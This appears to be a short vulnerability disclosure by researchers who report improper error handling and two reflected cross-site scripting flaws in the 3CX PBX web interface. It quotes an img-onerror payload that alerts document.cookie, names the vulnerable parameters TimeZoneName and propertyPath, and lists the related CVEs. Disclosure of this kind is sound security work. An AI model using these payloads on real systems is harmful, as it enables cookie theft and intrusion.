Security Issues on 3cx Web Service
I’m Edward Toledano, a security researcher of STOLabs, me and my coworkers, Ricardo Fajin, Daniel Chactoura, Lucas Carmo, Kelvin Clark, Found some issues on the famous pabx 3cx .
The issues Found:
- Multiple Improper error Handling
- Cross Site Scripting Reflected
- Cross Site Scripting on Stack trace
1) Multiple Improper error Handling
Researching the application we found several traceback errors. As an explample the error below. this could be especially dangerous because it gives, several informations about the server itself.
2) Reflected Cross Site Script
Payload used: <img src=`%00`
 onerror=alert(document.cookie)

Parameter: TimeZoneName
3) Cross Site Script on Stack trace
URL: https://<ip>:5001/#/app/ivr_editor/4
Payload Used: <img src=`%00`
 onerror=alert(document.cookie)

Parameter: propertyPath
CVEs Related to this article:
CVE-2018–14905
CVE-2018–14906
CVE-2018–14907